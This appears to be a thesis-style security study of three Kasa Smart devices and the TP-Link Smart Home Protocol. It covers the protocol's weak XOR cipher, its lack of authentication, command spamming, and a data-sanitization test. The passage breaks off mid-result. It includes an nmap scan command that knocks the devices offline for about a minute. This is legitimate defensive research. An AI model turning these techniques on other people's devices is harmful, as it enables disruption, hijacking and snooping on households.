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Nomenclature
HTTP: Hypertext Transfer Protocol
IoT: Internet of Things
JSON: JavaScript Object Notation
MAC address: media access control address
OWASP: Open Web Application Security Project
RSSI: Received Signal Strength Indicator
SSID: Service Set Identifier
TCP: Transmission Control Protocol
TDDP: TP-Link Device Debug Protocol
TSHP: Smart Home Protocol
UDP: User Datagram Protocol
WAP: Wireless Access Point
WLAN: Wireless Local Area Network
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Abstract
Three low-cost, app-controlled smart home devices from Kasa Smart were analyze for any 
potential security issues. Documentation was created regarding the TP-Link Smart Home Protocol, a 
method of communication between the Kasa Smart appliances and the official Kasa Smart app. It was 
found that timer and burglar-deterrence functionality were supported by LB100 bulb firmware, but 
were not included in the app version tested. The Smart Home Protocol lacked command authentication,
allowing local attackers to snoop, spoof, and spam commands. It was observed that the tested 
appliances would become temporarily unresponsive after receiving a Nmap “version detection” scan on
Transmission Control Protocol (TCP) port 9999. Coarse-grain forensic data about an owner’s schedule 
and device usage were retrieved from the devices using the Smart Home Protocol commands. 
Additionally, two tested devices were found to contain a user’s latitude and longitude from when the 
devices were first deployed. Performing a reset on the device prevented user data from being accessed 
by queries using the TP-Link Smart Home Protocol. 
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Chapter 1. Introduction 
1.1 The Internet of Things & the Smart Home
The Internet of Things (IoT) is a developmental off-shoot of the internet in which sensors and 
computing hardware are embedded within physical devices. These “smart” devices interface with the 
internet to facilitate the transmission, storage, and usage of data. Due to improved manufacturing 
techniques and reduced production costs, computer chips are now being incorporated into every 
electronic device imaginable. One popular application of IoT technology is “smart home” or “smart 
building” products. In smart homes and buildings, IoT functionality is incorporated into traditionally 
simple physical devices such as door locks, security cameras, garage doors, and heating and cooling 
systems. These smart home devices allow consumers to monitor and control their living spaces in 
manners that were previously impossible.  
From household gadgets to public infrastructure, IoT devices are quickly becoming ubiquitous. By 
2020, an estimated 50 billion smart devices will be deployed worldwide [1]. High consumer demand 
has made the IoT market exceptionally profitable. IoT production netted a global revenue of $130 
billion in 2015 and is estimated to rise to $883 billion by 2022 [2]. Technology manufacturers are eager
to claim a segment of the IoT market and concerns have been raised that device security is neglected in 
the haste to get products to market [2]. This fear is not without merit, as demonstrated by 2016 Mirai 
botnet attack. By targeting certain vulnerable devices with easily guessable credentials, the Mirai botnet
grew to a massive size and temporarily incapacitated a Domain Name Service provider and a major 
security blog [2].
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1.2 Smart Home Devices: Accomplice & Witness?
The aspirations of cybercriminals are not limited to large-scale denial of service attacks, however. 
The incorporation of smart devices into public and private spaces allows attackers to reach physical 
systems that were previously inaccessible. With this new power, bad actors can now follow their 
victims from the digital world to the physical one, spying on their movements and seizing control of 
their homes. Smart home devices can also be useful for law enforcement agents, as they may contain 
useful forensic evidence. Smart home devices have already been examined in criminal investigations, 
such as two separate cases involving Amazon Echo [3,4]. Such instances will likely become more 
frequent as the IoT field expands. Given the utility of IoT technology to forensic investigator and 
criminal alike, it is valuable to understand the inner workings of such devices. 
Particular attention should be paid to what data is collected by a smart home appliance and what 
functionalities are available from said appliance. Smart home devices are capable of gathering and 
disseminating vast quantities of information about their environment. This functionality was made 
painfully obvious recently, when a misconfigured server for a smart home device manufacturer was 
found to be leaking device logs. Researchers found a database of 2 billion entries containing customer’s
email & IP addresses, geolocation data, and other sensitive information [5]. Privacy-concerned 
consumers and forensic investigators should understand what information a device “knows” about its 
owner and environment. 
Hackers can often use smart home devices for more than just spying, however. Smart locks could 
be opened, security camera recordings could be disabled, and furnace systems could be set to operate in
unsafe conditions. All operation mechanisms, including any hidden by a manufacturer, must be 
understood to determine the risks associated with smart home technologies and how they may be 
minimized. Consideration must be given to using devices in ways that a manufacturer did not intend. 
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To illustrate the utility that smart home devices might offer criminals and law enforcement alike, a case
study was performed on multiple, low-cost appliances.
1.3 Kasa Smart
Although many smart home appliances are available to consumers, this case study examined 
products from Kasa Smart. Kasa Smart is a subsidiary of TP-Link Technologies Co., Ltd., a well-
established computer networking company. Kasa Smart focuses exclusively on smart home appliances. 
Products from Kasa Smart include smart electrical plugs, light bulbs, power strips, security cameras, 
and power outlets. Although some smart home product lines require a proprietary wireless “hub” to 
host and control smart devices, Kasa Smart products connect directly to a user’s 2.4 GHz wireless local
area network (WLAN). Users can then interact with their Kasa Smart devices using an app for 
smartphones and tablets [6, 7, 8]. 
Kasa Smart, a free app available for Android and iOS, offers customers a single and simply-
designed interface to control all their Kasa devices over Wi-Fi. With Kasa, users may turn their devices 
on and off, change settings, track energy usage, and make operational schedules. The “Away” mode 
allows owners to program their devices to randomly turn on and off, giving the illusion that an area is 
occupied. Consumers also have the option to create a free Kasa cloud account and link their Kasa 
Smart devices with this account. The Kasa Smart app allows users to login to their cloud account and 
remotely access any connected devices [6, 7, 8]. 
Kasa Smart appliances were selected for this case study for a few key reasons. Firstly, Kasa 
Smart’s parent company, TP-Link, was a well-established company. Given TP-Link’s many years of 
operational experience, it was assumed that Kasa Smart products would be constructed with robust, and
therefore intriguing, security mechanisms. Furthermore, Kasa Smart products were worthy of 
examination because they appealed to individuals with limited technical or smart home expertise, a 
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demographic often targeted by hackers. Kasa Smart had a minimal barrier of entry for new users due to
simple controls, no smart hub requirements, and competitive pricing. Finally, Kasa Smart products 
were of interest because of their popularity with consumers. At the time of writing, the Kasa Smart app 
on Google Play Store boasted over 1 million downloads [9]. Given that this statistic did not consider 
iOS downloads, it was reasonable to assume a significant number of Kasa Smart products were 
deployed around the world.
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Chapter 2. Literature Survey
2.1 IoT Environments as a Target of Cyberattack
The OWASP Internet of Things Project team, part of the Open Web Application Security Project 
(OWASP) organization, studies the development and use of IoT systems in order to improve their 
security [10]. To help consumers and developers alike, OWASP IoT has carefully mapped the attack 
surfaces and common vulnerabilities of IoT devices. 
OWASP IoT has identified 18 areas of IoT systems that serve as attack surfaces [10]. These 18 
areas can roughly be divided into four basic target groups: the physical IoT device, cloud endpoints, 
associated apps, and communication and control methods. Examples of attack surfaces on physical IoT 
devices include memory, local data storage, firmware, digital and physical interfaces, and sensors 
vulnerable to manipulation. Communication and control methods include authentication techniques, 
device update mechanisms, network protocols, and IoT ecosystem interactivity.
Additionally, OWASP IoT has classified 17 sources of vulnerabilities in IoT environments [10]. 
These vulnerabilities are summarized in the OWASP IoT Top Ten properties to avoid when designing 
and deploying IoT Systems. They are as follows: (1) Weak, Guessable, or Hardcoded Passwords, (2) 
Insecure Network Services, (3) Insecure Ecosystem Interfaces, (4) Lack of Secure Update Mechanism, 
(5) Use of Insecure or Outdated Components, (6) Insufficient Privacy Protection, (7) Insecure Data 
Transfer and Storage, (8) Lack of Device Management, (9) Insecure Default Settings, and (10) Lack of 
Physical Hardening.
2.2 Discovered Weaknesses in IoT/Smart Home Technologies
As illustrated by the work of OWASP IoT, there is no shortage of potential issues with IoT devices,
and several vulnerabilities have already been observed in the wild. One observed problem was 
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overprivilege in processes and user rights. For example, Fernandes, Jung, & Prakash [11] observed that 
3rd party applications developed for the Samsung Smart Things “appified” environment were often 
given unnecessary rights. Fifty-five percent of analyzed apps were found to be overprivileged and the 
authors were able to leverage the overprivilege issues and insufficient data protection to create a proof-
of-concept attack against a home security system. More recently, a smart deadbolt and its associated 
mobile app were found to contain issues regarding privilege and access control [12]. Unencrypted 
sensitive information was stored by the app in local, user-accessible location and the deadbolt itself 
allowed user accounts (even disabled ones) to perform user ID enumeration. 
Firmware was a similar area of concern. A large-scale analysis of firmware images revealed issues 
in more than 120 IoT products [13]. Costin et al. observed hardcoded credentials, overprivileged 
services, and backdoors. Work by another researcher demonstrated that a smart bulb was storing key 
material and plain-text Wi-Fi credentials in a location that could be dumped by an attacker [14].
A reoccurring issue with IoT systems was susceptibility to physical access attacks, both simple and
sophisticated. For example, a group of researchers [15] discovered thieves could easily detach a smart 
doorbell, activate its internal wireless module, and retrieve the pre-shared key for the doorbell’s 
associated WLAN. Most physical access attacks reported in literature, however, were more 
complicated. In one example, a smart thermostat was forced to boot using a custom firmware image on 
a device connected to the thermostat’s USB port [16]. Similarly, the system updater for a line of robot 
vacuum cleaners was found to run any script loaded onto a microSD card and inserted into the vacuum 
[17]. In a final example, Chapman [18] proved the debugging ports of a smart lightbulb could be used 
to dump device memory and retrieve sensitive cryptographic material in device firmware.
The last problem commonly observed in IoT systems was insecure digital interfaces and 
communication channels. Data leakage or insufficient encryption was noted in communications 
between a device and its supporting cloud endpoints for a children’s toy [19], surveillance cameras 
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[21], and IoT medical devices [22]. Weak or absent authentication mechanisms have similarly been 
detected on cloud endpoints [19, 21] and exposed digital device interfaces [20, 21]. Finally, Ho, Leung,
Mishra, Hosseini, Song, & Wagner [23] were able to defeat safety mechanisms of certain smart lock 
products by misusing the locks’ communication methods, such as blocking certain messages between 
the server and lock or replaying a victim’s authentication message.
2.3 Previous Research on Kasa Smart Products
Reverse Engineering the TP-Link HS110
Stroetmann & Esser [24] made significant progress in detailing the inner workings of Kasa Smart 
products by reverse engineering the HS110 smart plug. The authors began by analyzing the plug’s 
firmware. The firmware image contained a U-Boot Bootloader, a Linux kernel, and a Squashfs 
filesystem. The file system included a vulnerable version of Busybox (that was ultimately not 
exploitable), an easily broken password in /etc/shadow, and three applications: “shd,” the main server 
application, “shdTester,” a client for calibrating energy measurements, and “calDump,” which could be 
used to dump Wi-Fi calibration information. Next, the authors performed a portscan against the HS110 
using the Nmap port scanning tool. They discovered 3 open ports: 80/TCP, 9999/TCP, and 1040/UDP 
(user datagram protocol). The service listening on port 80 was found to be a fake HTTP server, but the 
remaining two ports, 9999 and 1040, implemented the TP-Link Smart Home Protocol (TSHP) and TP-
Link Device Debug Protocol (TDDP), respectively. Sniffing network traffic indicated that, after 
booting and connecting to a WLAN, the HS110 would synchronize its time with an NTP server and 
attempt to connect to a TP-Link cloud server. Stroetmann & Esser noted the plug would regularly 
attempt to contact the cloud server, even when the device was not configured for remote use. 
 Captured WLAN traffic indicated that the Kasa Smart app was communicating with the HS110 via
port 9999 and appeared to be using encryption. By decompiling the Kasa Smart app for Android, 
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Stroetmann & Esser determined the encryption algorithm between the two devices was an “autokey” 
cipher that used a hardcoded initialization vector. The hardcoded initialization vector (‘171’) served as 
the cipher key for the first encryption iteration. Next, the first byte of plaintext was XORed with the 
cipher key to generate the first byte of ciphertext. Afterwards, the value of the first plaintext byte was 
assigned to the cipher key. The new cipher key would be XORed with the next byte of plaintext to 
generate the next byte of ciphertext. This process would be repeated until all bytes of plaintext were 
encrypted. The encrypted message could easily be decrypted by reversing this process, again using 
‘171’ as an initialization vector. 
Using the known encryption algorithm and key, the authors were able to decode and analyze traffic
between the Kasa Smart app and the HS110. Messages in TSHP were found to use JavaScript object 
notation (JSON) and follow a command-response pattern where commands were issued by the app. 
Notably, Stroetmann & Esser observed no authentication mechanism between the app and the HS110. 
Using captured traffic and firmware analysis, the authors created a preliminary list of TSHP commands.
A command to flash the device firmware was found, but new images were rejected unless their 
signature matched one of four RSA keys hardcoded into the firmware. A hidden “test mode” was also 
uncovered, but the test mode did not change device behavior in any meaningful way. Finally, a 
command was discovered that forced the HS110 to connect to a different WLAN. Given the lack of 
authentication, anyone with WLAN access to a HS110 could use this command to hijack the device and
move it to a different network.
Working with TDDP proved to be less straightforward. Stroetmann & Esser discovered a patent 
that explained TDDP packet structure and some of its protocol methods. The patent described TDDP as
having many uses, including the ability to discover TP-Link devices, read and set configuration 
options, and execute special commands. The protocol included multiple security features: messages 
were encrypted with DES (although the HS110 key was hardcoded in firmware), message integrity was
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confirmed with an MD5 hash, and the HS110 would not accept TDDP packets it received unless all 
contents were valid. The authors created a proof-of-concept TDDP client, but the tool had a limited 
scope.
Hacking TP-Link Devices
Continuing the work of Stroetmann & Esser, Gont analyzed the HS100 smart plug [25]. Gont 
observed that port 9999 on the HS100 was open for both TCP and UDP versions of the TSHP. UDP 
commands for the Smart Home Protocol could be broadcast and their payload was entirely devoted to 
the JSON command. TCP commands, meanwhile, could not be broadcast and a 4-byte representation of
payload length was added before the start of each command. Broadcasting a two-part command 
sequence allowed the Kasa Smart app to discover a local HS100 and retrieve its system information 
and real-time energy usage. It was noted that the UDP implementation of TSHP was vulnerable to 
address spoofing and could be used to cause a denial of service attack or start a packet war on a 
WLAN. The author mentioned using UDP broadcasts to quickly cycle the HS100 on and off, but a 
discussion of the result was not available. Finally, Gont provided proof-of-concept code that 
implemented TDDP, but warned that some TP-Link products might not follow the protocol.
A Study of Data Store-based Home Automation 
In a study of home automation platforms, Kafle, Moran, Manandhar, Nadkarni, & Poshyvanyk [26]
discovered a flaw in the SSL implementation of Kasa Smart that allowed hackers to perform a “man-in-
the-middle” attack between the app and the cloud. Exploiting the flaw, the researchers demonstrated 
that client tokens could be stolen, allowing the attacker to remotely control a victim’s Kasa devices. 
Kasa Smart has since been updated to eliminated this problem. 
Beware of the App! On the Vulnerability Surface of Smart Devices through their Companion Apps
 Mauro Junior, Melo, Lu, d’Amorim, & Prakash [27] analyzed the companion apps of several 
popular IoT devices and found that only half of the apps surveyed would safely encrypted data between
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device and app. The authors studied Kasa Smart by decompiling the application and capturing network 
traffic between the app and a Kasa smart plug. The in-app process of pairing a mobile device to a smart
plug was found to be unrelated to controlling said plug. Instead, pairing was only used to create and 
maintain a user’s Kasa cloud profile. After pairing was complete, the app would occasionally broadcast 
a “get system information” command to poll local Kasa devices. Given that pairing was unrelated to 
control over WLAN, the Kasa Smart device could be paired with the account of a legitimate owner, yet 
still accept commands from an attacker on the local network. In this way, an attacker could share access
to a Kasa device with a victim, yet potentially avoid discovery.
SoK: Security Evaluation of Home-Based IoT Deployments
Alrawi, Lever, Antonakakis, & Monrose [28] proposed methods to categorize security literature 
about smart home devices and also provided a standardized operating procedure for evaluating the 
security of said appliances. The authors demonstrated their procedure by analyzing 45 IoT products, 
including a Kasa Smart light bulb and plug. Although not listed in the article itself, a companion 
website indicated these appliances were the LB130 and HS105 [29, 30].
Analysis considered four attack surfaces for each product: the device itself, the related mobile 
application, the related cloud endpoints, and the channels of communication. Testing determined a few 
of the forty-five devices were using misconfigured or vulnerable services, Problems with applications, 
by contrast, were common. App-related issues included overprivilege, hardcoded sensitive material, 
and flawed cryptographic implementations. The majority of tested cloud endpoints did not exhibit 
weaknesses, but a small number either leaked data or used vulnerable services. Connections from 
cloud-to-device or cloud-to-app were generally encrypted among all 45 devices, yet the majority of 
examined devices did not encrypt device-to-app connections.
With regards to the Kasa Smart appliances, no critical issues were observed during testing. Alrawi 
et al. detected only one running service on the smart bulb and no running services on the plug. When 
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decompiling the Kasa Smart app, the authors noted the app was overprivileged and had some 
cryptographic issues. The Kasa cloud endpoints, however, were found to be secure. Finally, network 
communications were determined to be fully encrypted and unsusceptible to “man-in-the-middle” 
attacks. 
TSHP Commands
As previously mentioned, progress had already been made in documenting TSHP. Stroetmann & 
Esser [24, 59] shared a simple Python client for interacting with the Kasa Smart HS100, HS105, and 
HS110 smart plugs. The client established a TCP connection with a Kasa plug via port 9999, encrypted 
a user’s command, and sent the encrypted message to the plug. When the plug’s encrypted response 
was received, the message would be decrypted before being displayed to the user. The client script 
contained TSHP requests observed by Stroetmann & Esser, but it was not compatible with Kasa smart 
bulbs. Gont [25] also provided code for interacting with TP-Link devices, but the code’s scope was 
similar to Stroetmann & Esser’s work. Two GitHub users [31, 32] separately published code featuring 
several TSHP controls. Both programs were compatible with Kasa Smart bulbs and included new 
TSHP commands as well as some commands identified by Stroetmann & Esser. Finally, code posted by
Dorey [33] provided a list of TSHP message payloads found by analyzing traffic to and from a Kasa 
LB130 bulb. 
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Chapter 3. Experimentation
3.1 Devices Tested
Selected Devices 
For testing purposes, three Kasa Smart devices were procured: an LB100 smart bulb, HS100 smart 
plug, and HS105 smart plug. The LB100 was a smart LED bulb with a dimmable white light. The 
LB100’s advertised functionalities included a remotely-adjustable brightness, scheduling mode, and 
ability to monitor power consumption [34]. The LB100 had over 1,900 user reviews on its Amazon 
marketplace listing at the time of writing [35]. The bulb could be reset by manually turning the device 
on and off either three times (for a “soft” reset) or five times (for a factory reset) [36]. 
The HS100 and HS105 were two smart plugs with different form factors. Both devices were 
advertised with the ability to create schedules, set timers, monitor runtime, and operate randomly to 
deter thieves (which was referred to as the “Away Mode”) [37,38]. Each plug had a power button and 
an integral LED bulb that indicated the device’s wireless status, such as “connected to the network” and
“no network connection” [39,40]. While the HS100 featured a separate “reset” button, the HS105 was 
reset by pressing and holding the power button. The HS100 appeared popular with consumers at time 
of writing, with over 15,000 reviews published on its Amazon marketplace listing [41].
 More detailed specifications for each device may be found in Table 1.
Device Hardware
An article about disassembling the HS100 revealed three main hardware components: a Wi-Fi-
enabled “System on a Chip,” a DDR SDRAM module, and a serial flash memory module [42]. Based 
upon photos available from the Federal Communications Commission [43, 44], it appeared that the 
HS105 and LB100 used similar internal components. 
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Device Firmware
Despite analysis performed by Stroetmann & Esser [24], gaining access to Kasa Smart firmware 
images proved difficult. At the time of writing, the TP-Link support webpage [45] hosted downloadable
firmware images for some products, but no images were available for the three devices in this case 
study. Some code used by the HS100 was subject to the GNU General Public License and consequently
needed to be made available to the public [46]. The GNU General Public License code for the HS100 
resembled observations from Stroetmann & Esser. The HS100 appeared to use a MIPS Linux kernel, 
Squashfs file system, U-Boot bootloader, and GCC toolchain. The HS100 also included software tools 
subject to GNU General Public License (Busybox, Libghttp, OpenSSL, and Libraryopt). 
During research, two postings were discovered on a TP-Link forum [47,48] that mentioned a 
firmware updating tool for Kasa Smart devices and included links to download said tool from the TP-
Link website. The links allowed users to download different versions of the same software 
(iotUpgradeTool_V1.0 and iotUpgradeTool_V1.3). Analyzing the files of the update tools revealed 
multiple firmware binaries, including binaries that mentioned “plugs” and “bulbs” in their titles. 
Unfortunately, time constraints prevented further analysis of the firmware images. Titles of the 
firmware binaries appeared to predate images on the tested devices, but examination of the binaries 
would still be beneficial in understanding device operations. 
Device-App Connectivity
There were three methods for users to connect with the analyzed appliances using the Kasa Smart 
app: directly, over a 2.4GHz WLAN, and remotely. 
(1) Direct Connection
After a factory reset, each tested device would begin operating a built-in wireless access point 
(WAP). The WAP’s service set identifier (SSID) was a combination of model type and the last four 
digits of the device’s media access control address (MAC address). By connecting to the WAP with a 
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mobile device, opening the Kasa Smart app, and following the pairing procedure, a user could 
communicate with the appliance. During experimentation in Fall 2018, it was possible to interact with 
the LB100 using the bulb’s built-in WAP exclusively. Associating the LB100 with a WLAN was not 
necessary. Updates to the Kasa Smart app in early 2019 made it more complicated to skip Wi-Fi 
association, but it was still possible in app version 2.14.0 for Android. 
Besides the conspicuous SSID name, it was noted that the built-in WAP’s did not utilize encryption
or authentication. The lack of security mechanisms was an area of concern, as attackers could easily 
join the WAP and eavesdrop on traffic. Furthermore, anytime a Kasa device was reset, an attacker could
attempt to hijack the appliance by pairing with said appliance before the rightful owner. Given that 
devices were vulnerable in their default state, it was understandable that the Kasa Smart app urged 
users to connect devices to a WLAN. 
(2) 2.4GHz WLAN
After connecting to a device’s internal WAP, the user was prompted to select the SSID of a desired 
2.4GHz network and enter the appropriate pre-shared key. At this point, the Kasa Smart device would 
turn off its WAP and attempt to join the user-specified WLAN. If association failed, the Kasa device 
would resume operating its personal WAP and a different SSID-password combination would be 
requested from the user. If association was successful, the Kasa device would leave its WAP off and 
remain attached to the 2.4 GHz WLAN. After completing a few remaining steps in the app, the user 
could access the Kasa Smart device via the WLAN.  
(3) Remote
Before starting the pairing process, the Kasa Smart app required users to login to an existing Kasa 
cloud account. Alternatively, a “guest” account could be used. Either account type could interact with a 
device directly or over a 2.4GHz WLAN. A Kasa cloud account, however, was mandatory for remote 
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access. After a Kasa Smart device was connected to a WLAN and associated with a Kasa cloud 
account, the user could enable remote access to the device. 
Table 1: Kasa Smart Device Specifications
Device Name LB100 (US) [36] HS100 (US) [37] HS105 (US) [38]
Type Smart Wi-Fi LED Bulb with
Dimmable Light
Smart Wi-Fi Plug Smart Wi-Fi Plug Mini
Image
Kasa Smart. (n.d.). Lb100 gallery 
image 2 [Online image]. Retrieved 
from https://www.kasasmart.com/us
/products/smart-lighting/kasa-smart-
wi-fi-led-light-bulb-white-lb100
Kasa Smart. (n.d.). Untitled 
[Online image]. Retrieved from
https://static.tp-link.com
/HS100(US)2.0.pdf
Kasa Smart. (n.d.). Untitled 
[Online image]. Retrieved from 
https://static.tp-link.com
/HS105_V1_Datasheet.pdf
Device Functions 
Available in App
1) Turn bulb on/off
2) Set bulb brightness
3) View/edit 4 preset 
brightness values
4) View 5 most recent 
brightness settings
5) Schedule device activity 
at a certain time
6) View energy usage
7) View/edit device settings 
(default-on state, device 
nickname, device icon in 
app, device information, 
enable/disable remote 
control)
1) Turn plug relay on/off
2) Schedule device 
activity at a certain time
3) Set an activity timer
4) Schedule “Away 
Mode” with a start and 
end time (can only 
schedule 1 rule at a 
time)
5) View runtime
6) View/edit device 
settings (device 
nickname & icon in app,
device information, 
enable/disable remote 
control)
1) Turn plug relay on/off
2) Schedule device 
activity at a certain time
3) Set an activity timer
4) Schedule “Away 
Mode” with a start and 
end time (can only 
schedule 1 rule at a 
time)
5) View runtime
6) View/edit device 
settings (device 
nickname & icon in app,
device information, 
enable/disable remote 
control)
Hardware Version 1.0 2.0 1.0
Software Version 1.8.6 Build 180809
Rel.091659
1.5.2 Build 180611
Rel.080914
1.5.2 Build 180528
Rel.114402
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Network 
Specifications
Protocol: 
IEEE 802.11b/g/n
Wireless Type:
2.4GHz, 1T1R
System Requirements (for
Kasa App usage):
 Android 4.4 or higher, iOS
10 or higher
Protocol: 
IEEE 802.11b/g/n
Wireless Type:
2.4GHz
System Requirements
(for Kasa App usage):
Android 4.1 or higher,
iOS 9 or higher
Protocol: 
IEEE 802.11b/g/n
Wireless Type: 
2.4GHz, 1T1R
System Requirements
(for Kasa App usage):
Android 4.1 or higher,
iOS 8 or higher
Application Details Platform: Android 9
Mobile Device Used: Google Pixel 2
App: Kasa Smart
Version: 2.14.0
3.2 Port Scanning
Due to inconsistencies in literature [24,28], it was necessary to determine which ports were open 
on the LB100, HS100, and HS105. To perform analysis, each IoT device was reset and a laptop was 
connected to their internal WAP. First, all three devices were analyzed with Zenmap (version 7.70), 
which was based on the Nmap port scanning tool [49]. Next, the HS105 was scanned with a trial 
version of the Nessus Vulnerability Scanner (version 8.4.0) [50]. These tools were select to allow 
comparison to the results of Stroetmann & Esser [24], who used Nmap, and Alrawi et al. [28], who 
used Nessus.
3.3 TP-Link Smart Home Protocol (TSHP)
To interact with the Kasa Smart devices, a tool was needed that met the following criteria: correct 
implementation of TSHP, compatibility with the three test devices, and inclusion of all known TSHP 
commands. Unfortunately, tools available at the time of writing did not meet all these requirements. 
Instead, the tool from Stroetmann & Esser [24,59] was used as a starting point and additional 
functionalities, such as smart bulb compatibility, were added. Changes suggested by a GitHub user [51]
were implemented so the encryption and decryption functions were compatible with Python3. It was 
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also necessary to implement Gont’s recommendations [25] regarding the 4-byte payload “header” when
communicating over TCP. (See Section 4.3 for further details.) Finally, all TSHP commands 
documented in literature were added to the tool.
3.4 Command Spamming
Design weaknesses have sometimes been uncovered when an IoT device was used in a manner that
developers did not anticipate [23]. With regards to the Kasa environment, it appeared unlikely that a 
device would receive a high volume of commands in a short amount of time. It became a point of 
interest to see how devices would handle command spamming and whether any problems would occur. 
Gont [25] described quickly switching the HS100 power relay on and off, but results of these 
experiments were not available at the time of writing.
Using a Python3 script based off the tool discussed in Section 3.3, it was possible to spam the test 
devices with commands. Devices would receive commands over their internal WAP to turn on and off 
in rapid succession. A total of 100 on-off cycles were performed. Although Gont [25] used UDP to 
broadcast commands, spamming messages for this experiment were sent using TCP. To control 
messaging speed, delay between the arrival of a TSHP reply and transmission of a new TSHP 
command was manipulated. The following delays were tested: 1000, 200, 100, 50, and 0 milliseconds. 
Additionally, a smartphone running the Kasa Smart app was paired with the LB100 while a laptop 
spammed the LB100 with 100 on-off cycles using a 1.0 second delay between commands. This was 
performed to measure the effect of a spamming attack on a victim’s Kasa Smart app. 
3.5 Device Data Collection
While surveying Kasa Smart literature, documentation of TSHP was found to be limited. Often, 
lists of commands were incomplete and command arguments were not fully explained. To better 
interact with Kasa Smart devices, it would be helpful to have: a full list of the TSHP commands, a 
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description of their inputs, and what device responses should be expected. Based on the discovery of 
hidden functions in other IoT devices [13], it was also worth searching for commands implemented in 
firmware, but not used by the Kasa Smart app. 
Previous researchers used certain TSHP commands for all Kasa Smart devices, while other 
commands were used to interact with either smart plugs or smart bulbs exclusively [24, 31-33]. 
Additionally, naming conventions for command arguments appeared similar across the smart plugs and 
smart bulbs. This suggested similarities in software between the smart plugs and smart bulbs. To better 
characterize this relationship, steps were taken to determine which commands were compatible with all
three tested devices and which commands were only supported by a particular device type or model.
To document TSHP, all known commands were first collected into a list. Then, each command was
sent individually to a test device. Device behavior, responses, error messages, and any other 
observations were then recorded. This was repeated until all commands had been tried against the test 
devices. Commands that featured multiple arguments often required additional attention and were sent 
multiple times. By manipulating one argument variable and leaving the remainder unaltered, changes in
device responses often indicated the variable’s purpose.
Another question encountered was whether or not conditions of the Kasa ecosystem would change 
device functionality. It was posited, for example, that some commands might only be supported when a
Kasa Smart device was using its internal WAP. For this case study, the scope of experimentation was 
limited to: (1) the impact of the wireless communication method used and (2) the presence of other 
Kasa Smart devices on a network. To answer this question, all known TSHP commands were sent by a 
laptop to test devices under three different conditions: 
(1) using the test device’s built-in WAP for direct communication,
(2) by connecting both devices (laptop and Kasa Smart device) to an unoccupied WLAN, and
(3) by connecting both devices to a WLAN occupied by two other Kasa Smart products.
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It was hypothesized that behavioral changes would alter the contents of a device’s TSHP responses. It 
should be noted that the test WLAN was not connected to the internet during experimentation to 
minimize differences between trials.
3.6 Data Sanitization
During data collection, one Kasa Smart device was used for a period of time before being 
unplugged for multiple days. When the device was plugged back in, a series of TSHP queries revealed 
some user data was still present on the device. This raised a question as to what conditions would 
remove user data from TSHP-accessible locations. If user data was difficult to sanitize, stolen or pre-
owned Kasa Smart products might leak information about past owners. Admittedly, TSHP queries do 
not provide the same level of data access as on-chip forensic methods. The simple and non-intrusive 
nature of TSHP queries, however, require less time and technical skill to employ. TSHP is therefore 
more likely to be used against Kasa Smart devices for information gathering.
Three methods were hypothesized for sanitizing user data from easily accessible locations. These 
methods were: (1) unplugging the device, (2) rebooting the device using the “reboot” TSHP command, 
and (3) resetting the device using the “reset” TSHP command. To test the efficacy of each method, 
devices were loaded with simulated data. After undergoing a data sanitation procedure, the devices 
would be queried to determine what data, if any, had survived the process. Due to time constraints, 
experimental scope was slightly limited. Devices were only unplugged for 2 minutes before being 
plugged back in and queried. Additionally, data sanitation testing was only performed on the HS100 
and LB100.
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Chapter 4. Results
4.1 Device-App Pairing & Navigating App Changes
As discussed previously, changes were observed in the device-app pairing process between a Fall 
2018 version of the app and the version in this case study. When the LB100 was used in Fall 2018, it 
was simple to pair the app to the smart bulb and exclusively communicate with the bulb via its internal 
WAP. Additionally, internet access was not mandatory for pairing with the LB100.
The app version considered in this case study required the following process in order to pair with a 
device:
1. Upon opening the Kasa Smart app, the user was prompted to log into an existing Kasa account. 
There was also an option to use a “guest” account.
2. Next, a list of appliances associated with the account was displayed. A menu option could be 
selected to add an additional Kasa Smart device. 
3. A prompt would request the user to select the product type and model of the device they wished 
to add to their account.
4. The pairing process would halt until the user connected their mobile device to a 2.4GHz WLAN
with internet access.
5. The user was then prompted to power on their Kasa Smart device and wait until the appliance 
had booted.
6. The process was halted again, this time waiting until the app was given permission to access the
mobile device’s current location.
7. When the appliance was ready for pairing, users were asked to connect their mobile device to 
the target appliance’s WAP. 
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8. When pairing had progressed to a certain point, the user was instructed to provide the SSID and 
pre-shared key of their WLAN. It was noted that the app neither checked if said WLAN had 
internet access, nor if it was the same WLAN from Step 3.
9. The Kasa Smart device would connect to the specified WLAN and the user would need to join 
the same WLAN in order to continue.
10. Finally, the user would be prompted to choose a nickname and icon to identify the smart home 
device in the Kasa Smart app. After this point, the smart home device could be accessed via 
WLAN. 
11. To activate remote access, the user would need to ensure the device was associated with their 
Kasa cloud account and the WLAN had internet access. Then, the user would select the 
appliance in the Kasa Smart app, open its “Device Settings” page, then enable the “Remote 
Control” option.
During this case study, it was determined that a Kasa Smart device could be connected to a WLAN 
without internet connectivity. To accomplish this, a user would need two 2.4 GHz WLANs, including 
one WLAN with an internet connection. During Step 3, the user would need to connect their mobile 
device to the WLAN with internet access. This would allow the user to pass the internet connection 
“check”. The user would then proceed normally until Step 7. At this point, the user would select the 
SSID of the WLAN without internet access and enter its pre-shared key. The user could then continue 
following the process as normal. It would not be possible to activate remote access in Step 11, due to 
the absence of an internet connection. 
It was similarly discovered that Kasa Smart devices could be controlled without a WLAN, relying 
on their internal WAP’s for communication. To deploy the test devices in this way required a WLAN 
with an internet connection. The WLAN was only necessary for passing the internet access “check” in 
Step 3. At Step 7, the user would select an option titled “I can’t find my network”, then they would 
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select the option “Exit setup”. At this point, the user’s mobile device would need to remain connected 
to the target appliance’s WAP. After approximately 1 minute, a message would appear stating a 
“preconfigured device” had been found. The user could then select to pair with the device and the 
device would immediately become accessible in the Kasa Smart app. It was noted that connecting a 
mobile device to an appliance’s WAP and opening the Kasa Smart app did not appear sufficient to 
initiate pairing.
4.2 Port Scanning
Zenmap Results
Port scanning with Zenmap revealed that TCP port 9999 and UDP port 9999 were open on all three
test devices. No other open ports were detected. Additionally, an unusual behavior was observed on all 
test devices when the “version detection” scan was used against TCP port 9999 (example usage: “nmap
-sV -p 9999 192.168.0.1”). Whether the device was using its built-in WAP or connected to a WLAN, 
the device would immediately become unresponsive and cease to accept TSHP commands. After 
approximately 60 seconds, the devices would reboot and become active again. If the appliance had 
been connected to a WLAN before port scanning, it would rejoin the network automatically. Kasa 
devices using their internal WAP would reset the WAP. It was noted that the smart plugs’ “relay on/off” 
button was not functional during the one-minute downtime period. The relay state could not be changed
